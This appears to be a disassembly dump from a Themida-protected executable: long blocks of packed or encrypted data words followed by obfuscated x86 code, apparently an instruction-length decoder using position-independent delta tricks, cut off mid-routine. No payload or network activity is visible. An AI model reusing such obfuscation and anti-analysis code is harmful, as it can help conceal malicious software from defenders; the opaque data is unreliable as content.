dd 0E9E1B14Ch, 0FFFFFF72h, 0FCD3D398h, 5B49178Eh, 0BF115050h
dd 0D34843E9h, 26AC44A5h, 3273B2F1h, 4E378B05h, 9F721C79h
dd 0DC87A5FFh, 0A2874982h, 0E9268330h, 9D7A3947h, 6A8A6D23h
dd 9E31683Eh, 9F2B3E3Fh, 0FF65DD30h, 9F37E6D8h, 0E6DF2B30h
dd 25A039E1h, 0C6568307h, 76E7593Fh, 9F37746Dh, 22B457BAh
dd 9928F751h, 0D2B3E130h, 0F5377730h, 9CDFED30h, 0BF37DD30h
dd 16692D6Eh, 1E335344h, 83339F74h, 0D937DD30h, 72842D66h
dd 0ABA40EEh, 9077FB46h, 9F37DFB7h, 76EE5C30h, 9F37742Dh
dd 7764BB5Ah, 9F37DD33h, 0C4F4B510h, 9B132BB9h, 9B13FFB1h
dd 9F37DD24h, 84F4BD73h, 0E6CEF2BDh, 91DFBD14h, 1D37DD30h
dd 6BC2420Fh, 80064D2Fh, 168AE561h, 9FBCD20Ah, 0C637EE30h
dd 0CFF9FDA0h, 12970DA0h, 0BB4E06B5h, 9F3C0736h, 20D67730h
dd 3CA00A73h, 3C854BC2h, 1C387EEFh, 9F377725h, 9F37B6D8h
dd 656AF130h, 95D1150Dh, 6F33FA24h, 66BCBB15h, 15388D6Eh
dd 9F37EE32h, 76A70785h, 9F37BB39h, 1FF5D6B4h, 36E400B7h
dd 0BEA28824h, 2531A42Fh, 0A0E05FC6h, 9F5D2EBBh, 9F349F62h
dd 0C517BB30h, 0CBBE87F3h, 0DBB6EA14h, 9F2C7314h, 0CD75BB30h
dd 33D54EF3h, 2AFAF21Eh, 0D0881113h, 5E8A384Fh, 9F31C236h
dd 22B4E745h, 99286861h, 0CF2ECF30h, 27F75663h, 9F37EA4Ah
dd 9052F2B9h, 2BABD2Fh, 99167294h, 0C76C3DCFh, 8066CAB3h
dd 0EB37BD2Fh, 27648D27h, 9F37EA4Ah, 9052F2B9h, 2BABD2Fh
dd 991671A3h, 0C76C3DCFh, 7767775Ah, 9F37BB33h, 0C7F48510h
dd 9B13AAB9h, 9B1333B1h, 9F37BB25h, 0B1F48D70h, 2D6D5179h
dd 5FBC4DCFh, 0E00A8789h, 7CAA5037h, 0F531CA49h, 9CDF2030h
dd 0BF37BB30h, 16681E6Fh, 1E33CA4Ch, 87335374h, 0D837BB30h
dd 0DC0A1E67h, 9061449Fh, 9F3777B8h, 9FBCB430h, 1237DD30h
dd 0BB5BD3B5h, 9CBA7836h, 1F37BB30h, 4FC822DEh, 9F35603Fh
dd 89857730h, 1B387B3Bh, 9F37DD16h, 9F31663Fh, 40B67730h
dd 0F398CD40h, 0D28740BDh, 2151E82Fh, 203864B2h, 9F3403FAh
dd 7CC8DD30h, 44DC09B1h, 2BA794Bh, 9913C2DBh, 0A2B250C8h
dd 0F531CA5Ch, 9CDF2630h, 0BF37BB30h, 166E1E69h, 1E33CA7Ch
dd 89335374h, 0DE37BB30h, 96BD1E61h, 76E7118Fh, 9F377735h
dd 5812FA9Ah, 90F7D6B2h, 9F378EB4h, 9FBD7830h, 1237BB30h
dd 807A6DADh, 9F365636h, 9F5D7730h, 9F345363h, 0C417DD30h
dd 0C3BEB5F3h, 0DBB67314h, 9F22BF14h, 0CC74DD30h, 6076A3F3h
dd 0CF371DD3h, 9F37B8D8h, 5C6FFD30h, 0BB736768h, 0BB73F634h
dd 9F37AC34h, 5C679D30h, 4A3149E4h, 9F3CF43Fh, 9057BB30h
dd 9F37DDBAh, 59BC8830h, 6FAAFA51h, 0FF319F49h, 0ECA86B8Eh
dd 9F25077Ah, 28C87730h, 478EF275h, 0BA8C44D6h, 6FDEE289h
dd 0A842DF20h, 0D7490151h, 1ABACCBCh, 9913820Dh, 5B2F058Ah
dd 0F5E74436h, 9CDF8C30h, 0BF37EE30h, 166EB469h, 1E339F7Ch
dd 8233F974h, 0DE37EE30h, 0A304B461h, 0DEE4FD64h, 27D0CA9Ch
dd 1B382E3Bh, 9F37775Dh, 9F37B5D8h, 0BA13E630h, 25ADDB3Ch
dd 0D245566Ch, 0C159E3BAh, 0D28740BDh, 7765E82Fh, 9F377736h
dd 81B758EEh, 61BCEE17h, 9C8FB76Eh, 0F9377730h, 602CF98Eh
dd 0C937B7D3h, 9F37EDD8h, 5C695730h, 0BB43326Eh, 0BB735C34h
dd 9F37F434h, 5C613130h, 0C4F0AFC4h, 0C83A0016h, 9F37E0D8h
dd 4633E330h, 45BBB962h, 73871B92h, 0C012780Fh, 9F5D346Fh
dd 9F345361h, 0C617DD30h, 0D3BEB7F3h, 0DBB67314h, 9F23BF14h
dd 0CE76DD30h, 22BAE8F3h, 99130EE9h, 0E28936BDh, 0E28FDB14h
dd 0ACBDA56Ch, 803ACEB5h, 5EF89036h, 0DB02BAD9h, 0C89913C2h
dd 5CA2B250h, 30F531CAh, 309CDF26h, 69BF37BBh, 0E9836E1Eh
dd 8BA4F305h, 53006AC0h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1904h, 0C3534300h, 0EEF49E71h, 0E95639E2h, 12h, 48B13A9Fh
dd 7DE47179h, 0BB87C32Eh, 0C0868A5Bh, 0F5FA202h, 484h
dd 26BE6600h, 55006A81h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1804h, 0C3554500h, 3DC91E4Ah, 0C38BF848h, 8B90E280h
dd 52006AC0h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h
dd 0C3524200h, 0C1BD8342h, 61F06h, 0BD830975h, 61F1F51h
dd 50197400h, 0B8C08B53h, 47Ah, 13958589h, 9D8D061Fh, 621B00Bh
dd 585BD3FFh, 1F51BD83h, 7400061Fh, 0B8535017h, 47Ah, 13958589h
dd 9D8D061Fh, 621ACACh, 585BD3FFh, 0FA8B6650h, 0E9C08B5Ah
dd 266h, 0D98C6660h, 0F04C1F6h, 3584h, 0FF016A00h, 1F20D9B5h
dd 93858D06h, 0FF062279h, 1D8589D0h, 8B061F08h, 0CEFC1FEh
dd 6000068h, 6A006A20h, 0D685702h, 0FF000100h, 1F081D95h
dd 32E906h, 85C60000h, 61F2025h, 30DF6856h, 0B5FFA9C5h
dd 61F3271h, 7993858Dh, 0D0FF0622h, 0EA98589h, 858D061Fh
dd 61F2CBDh, 6A406A50h, 95FF5605h, 61F0EA9h, 0C361h
dd 2 dup(0)
dd 8B520000h, 428B60D4h, 3A858908h, 8B06247Fh, 85890C42h
dd 6247F32h, 8910428Bh, 247F3685h, 70B58D06h, 8D06247Fh
dd 5B7E3585h, 61D0FF00h, 0CC25Ah, 7F3AB58Bh, 858B0624h
dd 6247F32h, 7F36BD83h, 0F000624h, 784h, 0E9068900h, 2
dd 0CF0688h, 0
dd 52000000h, 8B60D48Bh, 85890842h, 6247F3Ah, 7FC1B58Dh
dd 858D0624h, 5B7E35h, 5A61D0FFh, 7F3A858Bh, 4C20624h
dd 3A858B00h, 8B06247Fh, 3A858900h, 0CF06247Fh, 0
dd 97B58960h, 8906247Fh, 247F9385h, 0F9858D06h, 8B061F31h
dd 85894440h, 6247FD0h, 8006B58Dh, 858D0624h, 5B7E35h
dd 8B61D0FFh, 247F9785h, 9D8BC306h, 6247F93h, 3C43B70Fh
dd 5B8BD803h, 939D0378h, 8B06247Fh, 0B5032473h, 6247F93h
dd 207B8B56h, 31C738Bh, 247F93BDh, 93B50306h, 0FC06247Fh
dd 41FFC983h, 7F979D8Bh, 178B0624h, 7F939503h, 0C7830624h
dd 84028A04h, 0F840FC0h, 3A000000h, 0DC850F03h, 43FFFFFFh
dd 0FFE7E942h, 33AFFFFh, 0FFCD850Fh, 0D15FFFFFh, 4B70FE1h
dd 86048B0Fh, 7F938503h, 85890624h, 6247F97h, 0CE8BF08Bh
dd 0BD81C18Bh, 6247FD0h, 0C0300000h, 0D850Fh, 0E8C10000h
dd 0FFC2514h, 8E90000h, 0C1000000h, 0F82512E8h, 8B00003Fh
dd 247FD0BDh, 70C8306h, 7148B06h, 8124C28Bh, 0C18B813Ch
dd 57840Fh, 0BD810000h, 6247FD0h, 0C0300000h, 0D850Fh
dd 0E8C10000h, 0FFFC250Ah, 8E9003Fh, 0C1000000h, 0F82509E8h
dd 2D007FFFh, 40000000h, 0F7060883h, 8000h, 1E840F00h
dd 81000000h, 247FD0BDh, 30000006h, 0E840FC0h, 25000000h
dd 3FF8h, 808Bh, 883C060h, 858DCF06h, 6247F3Eh, 0E318589h
dd 858D061Fh, 6247FD4h, 2BBD8589h, 858D061Fh, 6247F9Bh
dd 2BE58589h, 8D8D061Fh, 6248224h, 89F88B66h, 1F0B5D8Dh
dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h
dd 0C3514100h, 0C801BE60h, 6B2DA878h, 0EE9h, 82277700h
dd 715B589Dh, 7012DFD6h, 0C789A6B1h, 1F20C585h, 6DA006h
dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h
dd 0C3514100h, 0EFE794D2h, 11E85E47h, 0D0000000h, 44EDF1BEh
dd 0E871B5EBh, 6DB31E34h, 1648A8EDh, 2D958589h, 0C75A061Fh
dd 1F137D85h, 6, 15B5FF00h, 6A061F1Dh, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 2FCAC356h
dd 0B5890C9Ah, 61F0A91h, 1065B58Bh, 95FF061Fh, 61F2D59h
dd 0F98B6660h, 5BF38B53h, 0FF006A61h, 1F1D4595h, 0EBC08B06h
dd 0FA5D2C3Bh, 0AE6FB3Dh, 0F0048D14h, 3FF10025h, 5C2CB905h
dd 0F74F4913h, 244E307Ah, 0E3E4EF8Eh, 1E6A4F86h, 0E333A2E9h
dd 395C3247h, 0A2228744h, 0C90EF47Eh, 0DB2B4F4Dh, 0C784504Bh
dd 83438D8Dh, 0BD310624h, 61F1905h, 0B5D8D89h, 6A061Fh
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
dd 635D57C3h, 85C7351Bh, 61F20C5h, 5B14h, 1EE19D8Bh, 85C7061Fh
dd 61F137Dh, 0
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0C1C35242h
dd 1E80E3DEh, 59D63327h, 324CEB81h, 7E85393h, 48000000h
dd 8CDE20E0h, 9D898CD6h, 61F0745h, 75B5FF58h, 6A061F15h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 16042444h
dd 42000000h, 0BAD6C352h, 0FF5B5060h, 1F2D5995h, 56006A06h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h
dd 8589CFBFh, 61F2E75h, 95FF006Ah, 61F1D45h, 0FEBC08Bh
dd 0C0CD8996h, 0B28E71C3h, 9E2E9ECBh, 0EB2AE61Bh, 2Dh
dd 0AE0DD000h, 0F2319CBFh, 0A5ADF9DFh, 528C88A7h, 0B7FB75h
dd 0ADF99CBEh, 89937EE5h, 8168009Dh, 0BD146726h, 0E03503B2h
dd 19E937CEh, 6800000Bh, 624847Eh, 0FAF9EDE9h, 85E468FFh
dd 0E3E90624h, 68FFFAF9h, 62486EBh, 0FAF9D9E9h, 87BA68FFh
dd 0CFE90624h, 68FFFAF9h, 6248862h, 0FAF9C5E9h, 898468FFh
dd 0BBE90624h, 68FFFAF9h, 6248A3Bh, 0FAF9B1E9h, 8C2368FFh
dd 0A7E90624h, 68FFFAF9h, 6248D23h, 0FAF99DE9h, 0B54C60FFh
dd 0D42B7A3Eh, 0F011995Dh, 0BF4B579h, 2BD6D094h, 0A7AE68B4h
dd 0C78B02FFh, 0E8AC23ECh, 6CA41C0h, 1EE75EA1h, 1F21F9A5h
dd 7CB419AFh, 0ECBC7C09h, 9B911F93h, 0AC50D050h, 0FB4E721Ah
dd 34E0593Ch, 15F593EAh, 7838B165h, 9559D02Fh, 0DE5BED12h
dd 0E87A951Eh, 6EC91C40h, 0D1E2A21Bh, 5404AC3Eh, 721AAC53h
dd 0B829D54Eh, 3D1C1A16h, 51871089h, 50945296h, 8E3E62CAh
dd 0AB6FE619h, 1A7103FCh, 53FF781Dh, 2238B79Eh, 0A010772Bh
dd 23E441BBh, 9806E8Dh, 0E5C70000h, 0C4E1A51Ch, 0AA00C43Bh
dd 8D1CE057h, 6F37FB72h, 15CF1B92h, 0F46B9610h, 158C8330h
dd 33AA5751h, 50C7386Fh, 8A620E87h, 1D19AF1Dh, 624572E5h
dd 50570B9Dh, 22AB38AFh, 0D3A19E76h, 597D311Fh, 0E35C3106h
dd 0F0A92237h, 69FBAF15h, 0F2A7F5C9h, 2DC5B25h, 74426039h
dd 6D8D09h, 0A21A0000h, 4AB5F495h, 0F36C10B8h, 3FEAA6Ah
dd 18AA5753h, 0BB04C70h, 7815F081h, 0C06B43EFh, 4AFE25F2h
dd 792DED26h, 7142F688h, 0C0640C9Eh, 16EA8A1Ch, 7C25F2C1h
dd 9A673FFFh, 0F7B06008h, 7569E408h, 745DF3C6h, 397A3A09h
dd 0CC7D5501h, 5C1025F2h, 5A7E26B8h, 0F9C1h, 0AF023800h
dd 0E6C1CB31h, 0C9663EEAh, 45F925F2h, 7C1A7DA1h, 0F418F7BCh
dd 239C6344h, 0F5B14263h, 2ED27A0Ch, 3ED0F49Ch, 96818BC1h
dd 9E145EFDh, 25DCCA7Ah, 37C8DF93h, 3DB6F1A5h, 5004966Bh
dd 7119AB56h, 25B229CDh, 97BB4465h, 0D34F2AFBh, 906F381Fh
dd 0AD525519h, 1273C41Bh, 32DA6C93h, 0F069158Eh, 8515F05Eh
dd 0A04CEEC5h, 25F25DC8h, 5F03A75Bh, 0BC71B0E6h, 0CADA32F9h
dd 6FC82FA6h, 0BDF5A11Ah, 501C1337h, 45E91890h, 0EB0D43CCh
dd 0D5C06770h, 8224D4F8h, 26CA3773h, 46BBEBAFh, 19887DDFh
dd 3352E8FAh, 81Ah, 3FB64B61h, 5ED52A7Bh, 7AF1109Ah, 950CF3B6h
dd 0B52CD5D1h, 0A6AF69h, 0EDC68A01h, 0C1E7AB22h, 0A205C940h
dd 0A41DE65Dh, 0AF1D20F8h, 87BB319h, 481A467Ch, 0E8DAC2DEh
dd 1936E38h, 21853559h, 2A569E0h, 0E5C484FDh, 0BCE0881Ah
dd 0BC7CCE45h, 0D88012EDh, 0B3D661B4h, 80E98E3Ah, 0E29615F0h
dd 5C34E069h, 0EF25F2C0h, 0E585173Bh, 25F2C111h, 55E6F877h
dd 9745D04h, 0CDA9h, 62453600h, 4F570B9Dh, 6DA320B2h, 0CD1F0623h
dd 2BC7EB29h, 1FD3305Ah, 49C03F68h, 55ACFCBCh, 0D9268131h
dd 9541CA47h, 1FD330BDh, 25789C50h, 26FEAA12h, 0B91FD331h
dd 5FE86105h, 0FF467B29h, 0F61A7DD2h, 0F074E15Ah, 0EFB67615h
dd 0CD5FA204h, 47EF8125h, 72C52CA3h, 97FAA61Fh, 441C13E1h
dd 4F571790h, 205931DDh, 38EC2C14h, 6EF77094h, 0E5EA1538h
dd 6E928D62h, 0A219E8BEh, 0D239C8DEh, 0FA669D7Ah, 131C3BD1h
dd 5A000007h, 7438AF52h, 9357CE31h, 0AF73EA17h, 0CA8E05FAh
dd 62AE25DCh, 1A5A8h, 21EEC589h, 3FC2E6AAh, 5CA304C8h
dd 0F7A31CE5h, 19AF1C1Fh, 45077AB2h, 9E27A061h, 0D3A21AF2h
dd 0D5F9AD1Fh, 0F20D9A5Eh, 6245047Bh, 50570B9Dh, 2F7636AFh
dd 72963ED0h, 0A1774BFBh, 4FE81FD3h, 238C13Ah, 0CEC22CB6h
dd 6C082C20h, 15F5ADE8h, 0A666DF93h, 0C26AFC03h, 4265259Eh
dd 248444BDh, 3C593E5Bh, 3DE19D83h, 0DE8A03ABh, 25F88506h
dd 4AC1E599h, 5D092186h, 25F88485h, 47C06418h, 50E21F87h
dd 2CCA8826h, 701401D6h, 0D463BA4Ch, 0C7CD233Fh, 0D77B9B7Dh
dd 0F50C9E5Eh, 6FBAF63h, 19C53E62h, 1C14C8F4h, 0F886EDA1h
dd 7BFA65CBh, 644C6E5h, 218B0000h, 0A569E0h, 0E6C488FFh
dd 0C9E0A41Bh, 0ABFBBF36h, 0D993DF56h, 0B82FD2D4h, 0D950BFF4h
dd 0F76E9315h, 148B7433h, 4E26D24Bh, 0E119AF1Ah, 624536A9h
dd 50570B9Dh, 1E991DAFh, 0C46298C0h, 3BA4701Bh, 55520226h
dd 308933AAh, 0FDF094C7h, 32F0C874h, 0CF831FD3h, 1312ABh
dd 0C9890000h, 9AFD21DEh, 199DAh, 1D8D4D00h, 86AA52E4h
dd 0CB467C23h, 131BAF64h, 0CDA13D61h, 3E1FD387h, 6F1B94F9h
dd 15F60BF6h, 9E5ED78Bh, 0BB7FF609h, 2A8113ECh, 630F880Dh
dd 1C15143Eh, 48D037EBh, 0BBFA659Fh, 59C0625h, 0C9E30000h
dd 0A8FDC138h, 8E1CE057h, 7138FC73h, 5353178Eh, 31EB37AEh
dd 10877A2Ch, 31A8674Ch, 4FC63B6Dh, 6CE31C8Bh, 0A67E2AA3h
dd 3919AF19h, 62458E01h, 0EF9B249Dh, 1FD3A217h, 9D7521AAh
dd 301FD3A1h, 83B2D87Ch, 0BC1C4F5Fh, 69E6789Ch, 6DFF00A9h
dd 0B6F1A1C5h, 0B833B749h, 47ACFB26h, 84FB9F60h, 943E9FDAh
dd 192EF0h, 7CBB0000h, 0A16F47F3h, 4E021FD3h, 0A15129D5h
dd 30E41FD3h, 0D4F10Ch, 0A27A0000h, 0C7870095h, 86FF23ECh
dd 0F62690DAh, 9642CB15h, 25F825BEh, 0BBED9D51h, 0E80CB446h
dd 0C282FBAFh, 0DFA31AE5h, 28A537C8h, 9EC23D68h, 4327EC4Bh
dd 286EF779h, 5363486Eh, 7A236217h, 14D45DD6h, 33DB6D94h
dd 0C302730Fh, 0C7871C1Ah, 57E22DFh, 16E9BC7Ch, 9A6542F2h
dd 0B7485F23h, 0D8277E3Eh, 60848B28h, 0C1C077CEh, 5E881AE7h
dd 0E989FAEDh, 0CB6F13B0h, 0ED149252h, 0BF093BC7h, 3C600318h
dd 1E6217C3h, 66EF223Ah, 3C5EE2BAh, 1DC17532h, 4E523CB6h
dd 0E20197E4h, 47Ah, 9F16EBC1h, 0BE35CADBh, 0DA51B0FAh
dd 0F56C9316h, 158C7531h, 0A0060FC9h, 8D26EA61h, 61470B82h
dd 426529A0h, 47D46BDh, 0AF188058h, 68DB1319h, 13EDAh
dd 95A26300h, 3EFE8700h, 60089A75h, 2656A03Ch, 1DD115F6h
dd 3CC3E4A4h, 59A601C5h, 0C2C770C7h, 0F78AC049h, 4D797378h
dd 20E1C777h, 18EF60FCh, 0B4741C1Bh, 0F26B0FF2h, 138A7532h
dd 2EA7584Fh, 37C9386Eh, 82D96B8Fh, 3167E0B5h, 0CD67114h
dd 0D42B7E7Ah, 0A930C30h, 16C01AD4h, 21D12CCBh, 0BA567A87h
dd 22399305h, 855D0992h, 18323BD2h, 0FF2B464h, 0CA31D57Dh
dd 0E44EDE9Ah, 0C3EC0BA1h, 0A000003h, 24E85FA2h, 43077E81h
dd 5F239A67h, 7A3EB54Ah, 125ED52Ch, 0B0515558h, 0D13E7539h
dd 0EF12965Ah, 0CF3B478h, 0A753CC95h, 19AF17CFh, 45B72A62h
dd 441CC862h, 0D71FD3A1h, 39ED7F23h, 4BFF916Eh, 5D11A35Ch
dd 1C26B849h, 5CDC518Dh, 8324FDE1h, 1E5B057Ch, 0AFF094BCh
dd 5Fh, 73D1F026h, 4937B199h, 0E50B3BF1h, 365A3E5Ah, 95A2D3h
dd 88245187h
dd 0AC258E26h, 1F630F88h, 0CA15F07Bh, 0CDDD9D16h, 32788B28h
dd 0E872BCFh, 7B01D985h, 8C1D25F2h, 2B7A3A73h, 0F69A42D4h
dd 0D6AB5BD2h, 2325F27Ah, 7B16EE9Ah, 0F5A925F2h, 798621D1h
dd 956C3E02h, 308E403h, 456D0000h, 580C9E63h, 7539B04Fh
dd 0C36FF832h, 1FD3A1EBh, 562ECA7Eh, 0E91FD3A1h, 4BFF9135h
dd 9F2CA35Ch, 0AC535616h, 0FED6721Ah, 1A1FD3A1h, 7B3B748Bh
dd 0C30D42Dh, 920B7EB9h, 0F0A9D1E6h, 8BE81E15h, 0D973AFF7h
dd 681C5579h, 0E2BA66EFh, 7525F2FDh, 6B0B9DC1h, 25F2FD97h
dd 0E5C080FDh, 0BCE0881Ah, 0DB9E9D41h, 0F209741Ch, 30h
dd 95A27Fh, 8136DB87h, 2FE315F0h, 4760209Dh, 5A7E26B8h
dd 0F2C1EABEh, 0DD15025h, 0AEE6154Bh, 8DBA4F74h, 0BE86D369h
dd 0D3270974h, 0B4000000h, 249D6245h, 6B83EFEEh, 0E2924A52h
dd 1A93BC6h, 0F974BDDh, 0ADE360F2h, 152DB8ADh, 0FED682D5h
dd 911FD30Ch, 651539DDh, 772BBD42h, 0A858CF30h, 1FD310D7h
dd 0C43DC2E5h, 0E103658Eh, 6D547FD6h, 0F6496F18h, 52560643h
dd 50148BAFh, 0BF16A857h, 0F09C1578h, 15F06BC7h, 8411883Ch
dd 0B24EB64Eh, 7EA48256h, 9EE9478Dh, 0A7FA1EDBh, 0C484FD90h
dd 7EF71BE6h, 136EF7D2h, 67E0941Ch, 8B02FFA7h, 0BB22DFC7h
dd 0FA66E2DDh, 0DBD3F288h, 22000001h, 3C00778Ah, 5B1F9669h
dd 773BB24Fh, 9256CD32h, 2A76ED14h, 0C8396D70h, 0E9268D51h
dd 7FAAE72h, 24DBCC90h, 0BF6BE4ADh, 19AF15E7h, 45CF427Ah
dd 9C29A061h, 8326CDDCh, 9E42EA7Ch, 22DDCA7Ah, 95A234ABh
dd 36DB8700h, 0E315F081h, 97209D2Fh, 0F2C213EBh, 0CCF2A625h
dd 57254825h, 0A541652Ah, 25F32DD1h, 3226B837h, 3BCD3472h
dd 80D96F93h, 2D0974C8h, 0D4h, 9D6245BAh, 0DCCE8E0Bh, 55510125h
dd 0A97A1AACh, 0B71FD3A5h, 0A4D88DF0h, 0B061325Ah, 0D208950Ch
dd 49FA447Eh, 0D383A7B4h, 0F2B22BD4h, 96284CB3h, 0E3D09019h
dd 2CB8902Ch, 0D2D41FD4h, 1E42F62Fh, 0B0296CCBh, 0F141DB04h
dd 259C5015h, 9B1479BEh, 14AEAFEFh, 259E521Ch, 34CBDC9Ch
dd 694AFAA2h, 0D4D282A6h, 0B4F2B62Dh, 0FF2B878h, 6139D57Dh
dd 0F42C14EDh, 0E9189040h, 0A40BAF57h, 0FA67A5ECh, 0DBB2D167h
dd 22000000h, 3C00778Ah, 5B1F9669h, 773BB24Fh, 9256CD32h
dd 2A76ED14h, 0C8396D70h, 0E9268D51h, 7FAAE72h, 24DBCC90h
dd 0BF6BE4ADh, 19AF14E7h, 45CF427Ah, 41451E61h, 78BD74E1h
dd 10D05DD4h, 0EE6929Ah, 0A11FD326h, 752549EDh, 0DF56CD32h
dd 0B9D6245h, 2EDA5057h, 1FD3A156h, 1A9135E9h, 28D9CD8Dh
dd 386B104h, 268CDE8Ah, 17D715F6h, 144D718Eh, 2607DF8Bh
dd 822325F8h, 0EC90447Dh, 0FE01A65Ah, 793AFA87h, 1F47096h
dd 0E3051174h, 67980FBFh, 9B8935D5h, 0A837CF62h, 43BCEB36h
dd 609F08CCh, 708F1ACEh, 847B2ADEh, 99683EF2h, 6DE8A07h
dd 9957E2DCh, 8E50DFE5h, 4C92119Fh, 0B42DD2D5h, 264AB5F4h
dd 43BCEBAFh, 0C92B1h, 0A71B0000h, 0CF4AF42Ah, 0D29B2406h
dd 67454BAEh, 5354089Ah, 42661AACh, 3A792DBFh, 178F43D5h
dd 2A458EAh, 0F0B96DFFh, 0E1C97D0Fh, 0CBDA8E20h, 6886A234h
dd 6973h, 52242C89h, 0C281E289h, 4, 8704EA83h, 895C2414h
dd 6E682404h, 89000038h, 0E5682414h, 8B062483h, 0C4832404h
dd 148B5404h, 4C48124h, 51000000h, 0BB53C189h, 8, 0B89D301h
dd 148B595Bh, 0E3895324h, 4C381h, 0C3810000h, 4, 5C241C87h
dd 5324048Bh, 0C381E389h, 4, 8704C383h, 0E95C241Ch, 0FFFAEEEAh
dd 4CF61BCEh, 692EC3C7h, 0C4A06480h, 248E23B8h, 0FFC50306h
dd 1A96F0E0h, 0E5AFA66Ch, 0BBB1DA15h, 6263E473h, 0D4492C5Ah
dd 6BE4D914h, 49CEEA00h, 92803722h, 4287F932h, 0BEA32753h
dd 992A645Bh, 7E0CE927h, 0E42C7828h, 99F25335h, 90306239h
dd 4CC2DD2Dh, 0FCE1515Bh, 18008C05h, 0BB0E5333h, 0E604560Ah
dd 0CA116A4Bh, 6F380F1Fh, 0B170763Eh, 26A17A32h, 7FCEA91Ch
dd 1A990D06h, 0F9561634h, 0AB2E956Dh, 0A299412Ah, 0D9421E04h
dd 5DE5365Eh, 0EA485321h, 14E800h, 0BBEE0000h, 1C7007D0h
dd 887B356Fh, 819778Bh, 1361A4B6h, 11E9B43Ch, 27000000h
dd 38ABA0D1h, 0C30946DAh, 0B320AB48h, 7E9A314Fh, 81DA8B58h
dd 6BA6C0h, 58E0F00h, 0BB000000h, 7A59EA20h, 0DE8BF62Bh
dd 81303C8Bh, 6A446EEBh, 0B6F78166h, 604018B3h, 57578CB3h
dd 81615F5Ah, 1323B8F7h, 81F98A05h, 991071C7h, 0CA8B6623h
dd 8B303C89h, 8107B1D0h, 0E94CDAEEh, 6ADA8049h, 4CD6C681h
dd 0C38149E9h, 28292432h, 951CFE81h, 850FFFFFh, 18h, 0E9EDCA80h
dd 2Ch, 7F5D3BB0h, 7B7F38F6h, 0F49CA68Ah, 0E2348C24h, 0E9DBBF0Fh
dd 0FFFFFF90h, 3036BD8Dh, 0AB13564Ah, 5A39DACDh, 0B0FFF05Eh
dd 921A22CFh, 1C8E9h, 8 dup(41888800h), 4 dup(0)
dd 880000h, 91C400h, 11111100h, 11111111h, 8899C911h, 88888888h
dd 88h, 60000h, 444400h, 4100h, 11111100h, 44444411h, 88029944h
dd 100203C9h, 11888800h, 88888800h, 11111188h, 164411h
dd 0
dd 88h, 888888h, 80000000h, 88888800h, 888h, 8888800h
dd 88888808h, 88h, 0
dd 88888800h, 88888888h, 88888088h, 2 dup(88888888h), 888888h
dd 88999988h, 8, 44444488h, 44444444h, 88888844h, 88888888h
dd 99800088h, 99800000h, 88888888h, 88890088h, 99888888h
dd 89h, 88888000h, 88888880h, 88888888h, 88888880h, 88888088h
dd 88888888h, 362E2608h, 6665643Eh, 0F3F2F067h, 0
dd 0FFFFFF00h, 4016E6FFh, 4016FA00h, 2 dup(0)
dd 100h, 14h dup(0)
dd 6380C300h, 7577EDh, 100h, 11h dup(0)
dd 353E900h, 0E8550000h, 0
dd 0D0ED815Dh, 60062491h, 911D85C7h, 624h, 81660000h, 0FA1663Eh
dd 0F85h, 2185C700h, 6062491h, 0E9000000h, 24h, 9125858Dh
dd 8D500624h, 24917585h, 6A565006h, 1DE800h, 0C4830000h
dd 0FF2510h, 85890000h, 6249121h, 21B50361h, 8B062491h
dd 24911D85h
db 6, 5Dh, 0C3h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push ecx
and byte ptr [ebp-5], 0
and byte ptr [ebp-6], 0
xor dl, dl
and [ebp-1], dl
cmp dword ptr [ebp+8], 0
jz loc_586F54
mov byte ptr [ebp-4], 2
mov byte ptr [ebp-3], 0FEh
mov byte ptr [ebp-2], 1
jmp loc_586F60
; ---------------------------------------------------------------------------
loc_586F54: ; CODE XREF: Themida_:00586F3Dj
and byte ptr [ebp-3], 0
and byte ptr [ebp-2], 0
mov byte ptr [ebp-4], 4
loc_586F60: ; CODE XREF: Themida_:00586F4Fj
push ebx
push esi
push edi
loc_586F63: ; CODE XREF: Themida_:00586FB8j
; Themida_:00586FD4j ...
mov edi, [ebp+0Ch]
mov esi, [ebp+10h]
movzx ecx, dl
inc dl
mov al, [edi+ecx]
mov [esi+ecx], al
xor cl, cl
loc_586F76: ; CODE XREF: Themida_:00586F9Dj
movzx ebx, cl
push ebp
call $+5
pop ebp
sub ebp, 6249287h
lea ebp, [ebp+62490FDh]
add ebp, ebx
cmp [ebp+0], al
pop ebp
jz loc_586FA3
inc cl
cmp cl, 0Bh
jb loc_586F76
loc_586FA3: ; CODE XREF: Themida_:00586F92j
cmp cl, 0Bh
jz loc_587000
cmp al, 66h
jnz loc_586FE1
cmp byte ptr [ebp-5], 0
jnz loc_586F63
cmp byte ptr [ebp-3], 0
mov byte ptr [ebp-5], 1
jnz loc_586FD9
mov byte ptr [ebp-4], 2
mov byte ptr [ebp-3], 0FEh
jmp loc_586F63
; ---------------------------------------------------------------------------
loc_586FD9: ; CODE XREF: Themida_:00586FC6j
and byte ptr [ebp-3], 0
mov byte ptr [ebp-4], 4
loc_586FE1: ; CODE XREF: Themida_:00586FAEj
cmp al, 67h
jnz loc_586F63
cmp byte ptr [ebp-6], 0
jnz loc_586F63
xor byte ptr [ebp-2], 1
mov byte ptr [ebp-6], 1
jmp loc_586F63
; ---------------------------------------------------------------------------
loc_587000: ; CODE XREF: Themida_:00586FA6j
mov ebx, [ebp+14h]
mov cl, dl
dec cl
cmp al, 0Fh
mov [ebx], cl
jnz loc_58702C
movzx ecx, dl
inc dl
mov al, [edi+ecx]
movzx edi, al
shr edi, 1
mov [esi+ecx], al
add edi, 80h
jmp loc_587031
; ---------------------------------------------------------------------------
loc_58702C: ; CODE XREF: Themida_:0058700Bj
movzx edi, al
shr edi, 1
loc_587031: ; CODE XREF: Themida_:00587027j
push ebp
call $+5
pop ebp
sub ebp, 624933Fh
lea ebp, [ebp+6248FFDh]
add ebp, edi
